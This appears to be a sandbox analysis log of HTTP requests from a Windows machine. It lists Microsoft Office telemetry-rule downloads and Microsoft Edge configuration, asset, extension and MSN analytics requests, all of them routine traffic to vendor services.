Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /config/v1/Edge/117.0.2045.55?clientId=5518710994624701133&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=7&mngd=0&installdate=1696486680&edu=0&bphint=2&soobedate=1696486676&fg=1 HTTP/1.1Host: config.edge.skype.comConnection: keep-aliveIf-None-Match: "+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="Accept-Encoding: gzipSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731404251590&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=34DD94F9EF376C2E059581CCEEC66D3A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731404251589&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a019179ec43e4776a80ea6b80a7b119a&activityId=a019179ec43e4776a80ea6b80a7b119a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=34DD94F9EF376C2E059581CCEEC66D3A; _EDGE_S=F=1&SID=254ED9580F306B231043CC6D0EC46AD0; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=34DD94F9EF376C2E059581CCEEC66D3A&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=a46b6bfe619247608ee6895016c98c40 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=34DD94F9EF376C2E059581CCEEC66D3A; _EDGE_S=F=1&SID=254ED9580F306B231043CC6D0EC46AD0; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
